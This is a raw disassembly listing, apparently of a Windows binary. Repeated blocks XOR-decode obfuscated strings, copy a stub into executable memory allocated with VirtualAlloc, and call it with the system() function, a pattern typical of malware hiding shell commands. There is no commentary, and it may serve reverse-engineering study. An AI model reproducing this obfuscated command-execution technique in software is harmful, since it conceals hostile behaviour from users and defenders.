punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140044250
cmp r8d, 0x39
jge 0x140044383
movsxd rax, r8d
lea r9, [rbp - 0x78]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140044350
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x14004439f
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov edi, 3
lea r13, [0x140049ae0]
lea r15, [0x140000000]
mov rax, qword [0x140245c80]
test rax, rax
je 0x14004441f
mov rdx, r12
cmp rax, r13
je 0x14004440e
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x1400443f6
jmp 0x14004441f
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x140044500
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140044448
mov r8, r12
jmp 0x1400444df
mov rax, r13
mov rcx, r8
mov rdx, rdi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140044451
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140044566
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044561
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044561
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqa xmm10, xmmword [0x1401581e0]
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400445b9
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400445b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400445b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x140157290]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x1401572a0]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x1401572b0]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x1401572c0]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x1400446fd
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140044610
jmp 0x14004472a
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140044701
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140044746
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x1400447b9
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x1400447a8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x140044790
jmp 0x1400447b9
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x14004489f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400447e2
mov r8, r12
jmp 0x14004487e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400447f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140044905
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044900
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044900
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14004494f
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004494a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004494a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x140157290]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x1401572a0]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x1401572b0]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x1401572c0]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x140044a9d
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400449b0
jmp 0x140044aca
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140044aa1
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140044ae6
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x140044b59
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x140044b48
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x140044b30
jmp 0x140044b59
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x140044c3f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140044b82
mov r8, r12
jmp 0x140044c1e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140044b90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140044ca5
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044ca0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044ca0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140044cef
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140044cea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140044cea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [0x1401572c8]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x1401572d8]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x1401572e8]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x1401572f8]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x140044e3d
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140044d50
jmp 0x140044e6a
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140044e41
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140044e86
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x140044ef9
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x140044ee8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x140044ed0
jmp 0x140044ef9
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x140044fdf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140044f22
mov r8, r12
jmp 0x140044fbe
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140044f30
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
mov qword [r15 + rax*8 + 0x245c80], r13
mov qword [r15 + rax*8 + 0x245960], r8
inc rax
mov qword [0x140245950], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x128]
mov qword [rax], rbx
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140045045
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140045040
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140045040
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
movdqu xmmword [rsp + 0x78], xmm10
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x14004508f
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004508a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004508a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011fe94
lea rcx, [rbp - 0x38]
call fcn.140042320
mov r10, rax
movups xmm0, xmmword [str.q_thb_YVMH_nGL4__pv]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [0x140157230]
movups xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [0x140157240]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140157250]
movsd qword [rbp - 0x48], xmm0
mov r8d, r12d
cmp esi, 2
jl 0x1400451dd
mov edx, r12d
movdqa xmmword [rbp + 0x30], xmm11
lea rcx, [rbp - 0x74]
mov r8d, dword [rbp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x1400450f0
jmp 0x14004520a
lea r9, [rbp - 0x78]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x1400451e1
mov r8, r10
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x68]
call fcn.1400499b0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140045226
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x128]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], rcx
mov rbx, qword [rcx]
xor rbx, rax
mov qword [rbp + 0x30], rbx
mov qword [rcx], r12
mov ecx, r12d
mov rax, qword [0x140245c80]
test rax, rax
je 0x140045299
mov rdx, r12
nop word [rax + rax]
cmp rax, r13
je 0x140045288
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x245c80]
test rax, rax
jne 0x140045270
jmp 0x140045299
mov r8, qword [r15 + rdx*8 + 0x245960]
test r8, r8
jne 0x14004537f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400452c2
mov r8, r12
jmp 0x14004535e
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400452d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140245950]
